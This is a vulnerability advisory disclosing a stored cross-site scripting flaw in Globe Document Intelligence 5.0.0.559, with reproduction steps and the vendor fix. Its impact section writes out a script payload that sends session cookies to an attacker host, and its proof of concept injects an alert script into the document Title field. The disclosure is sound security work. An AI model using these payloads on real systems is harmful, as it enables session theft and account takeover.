CVE-2025-65640

1. Vulnerability Information

• CVE ID: CVE-2025-65640 (Currently RESERVED)
• Vulnerability Type: Stored Cross-Site Scripting (XSS)
• CVSSv3 score: 6.3 (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N)
• Vendor: Arket/Bluenext S.r.l.
• Product: Globe Document Intelligence
• Affected Version: 5.0.0.559
• Discoverer: Vincenzo Emanuele Martone

2. Description

A Stored Cross-Site Scripting (XSS) vulnerability was identified in the Globe Document Intelligence platform (version 5.0.0.559). The application fails to properly sanitize or encode user-supplied input within the "Title" property of a newly created document. When an authenticated user navigates to the summary pages (e.g., "Task in progress / Recent"), the malicious payload is reflected and executed within the context of the victim's browser.

3. Impact

This vulnerability allows an authenticated attacker to store malicious JavaScript code on the server. When other authenticated users (including administrative accounts) view the affected pages, the script executes automatically. While the Proof of Concept below demonstrates the vulnerability using a benign alert(), an attacker can weaponize this flaw to achieve Session Hijacking and Account Takeover. For instance, injecting a payload such as <script>fetch('https://attacker.com/?cookie='+encodeURIComponent(document.cookie))</script> would silently exfiltrate the victim's session cookies to an external server controlled by the attacker.

4. Steps to Reproduce (Proof of Concept)

To reproduce the vulnerability, an authenticated attacker can follow these steps:

1. Navigate to the document creation section ("Nuovo documento") and fill in the required fields with arbitrary data to successfully create a new document.
2. Submit the form and create the document.
3. Select the newly created document, open the context menu (Right-Click -> Document Properties), and locate the "Title" field.
4. Inject the following basic XSS payload into the "Title" field: <script>alert("XSS")</script>
5. Save the changes. The malicious payload is now persistently stored in the database.
6. Navigate to the "Task in progress / Recent" (Task in attesa/Recenti) page.
7. As the page renders the document title without proper output encoding, the JavaScript payload is executed, triggering the alert.

5. Recommended Mitigation

According to the vendor, this vulnerability has been addressed in version 5.1.0.575. To remediate this issue, it is recommended to update the Globe Document Intelligence platform to version 5.1.0.575.

---

Disclaimer

This Proof of Concept (PoC) is provided exclusively for educational and research purposes. The information and code detailed in this document must not be used for malicious activities or against any systems without explicit, prior authorization from the system owners. The author assumes no liability and is not responsible for any misuse or damage caused by the application of the material provided.